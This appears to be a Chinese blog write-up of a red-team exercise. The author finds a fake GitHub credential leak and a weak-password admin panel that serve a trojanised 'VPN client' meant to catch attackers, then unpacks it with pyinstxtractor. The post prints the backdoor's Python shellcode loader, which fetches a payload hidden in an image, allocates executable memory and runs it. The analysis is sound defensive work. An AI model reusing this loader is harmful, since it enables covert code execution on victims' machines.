记一次有趣的溯源

一次有趣溯源

在某次攻防演练信息搜集的过程中,偶尔发现假装Github信息走漏进而钓鱼红队人员的后门。

下面展开有趣的剖析溯源过程。

0x01 信息搜集

GIthub信息走漏

依据甲方信息停止常规的Github敏感信息搜集偶尔发现一个仓库不简单

这不是mysql账号密码走漏了吗,高兴的翻开Navicat

失败….于是访问源码的8080端口查看一番,发现一个管理后台

弱口令

针对后台尝试一波弱口令,admin/admin 嗯~进来了

进来之后居然发现账号密码而且客户端解压密码都贴心的放了出来

到这里我居然没有发觉到任何异常,以为可以拿到VPN入口权限;抓紧下载VPN客户端。

解压出来这个样子,emmm。。还没发现异常

0x02 剖析溯源

还好有慎重的习气,放入虚拟机瞅瞅。

哦豁,居然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。觉得到前面的打点由过于丝滑,不自然的警惕了起来。

包括前面弱口令的提交方式居然为admin.php?user=admin&passwd=admin

由于发现VPN客户端为python言语编写,更不对劲了,反编译看下。

解包

python3 pyinstxtractor.py vpnclient64.exe

生成一个以 exe文件名+_extracted 的文件夹,这个就是解包后的数据

PyInstaller打包后,pyc文件的前8个字节会被抹掉,所以最后要本人添加回去。

添加头

依据struct.py文件

源码

得到py文件,easyvpn64.py为后门主程序,其中执行shellcode代码躲藏至图片中。

经过requests恳求OSS存储中的图片,图片内容为shellcode加载器。

shellcodeLoader局部

import base64
import ctypes

str = b''
sc_base64 = (base64.a85decode(str)).decode('utf-8')
shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))


ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
                                             ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像韩死0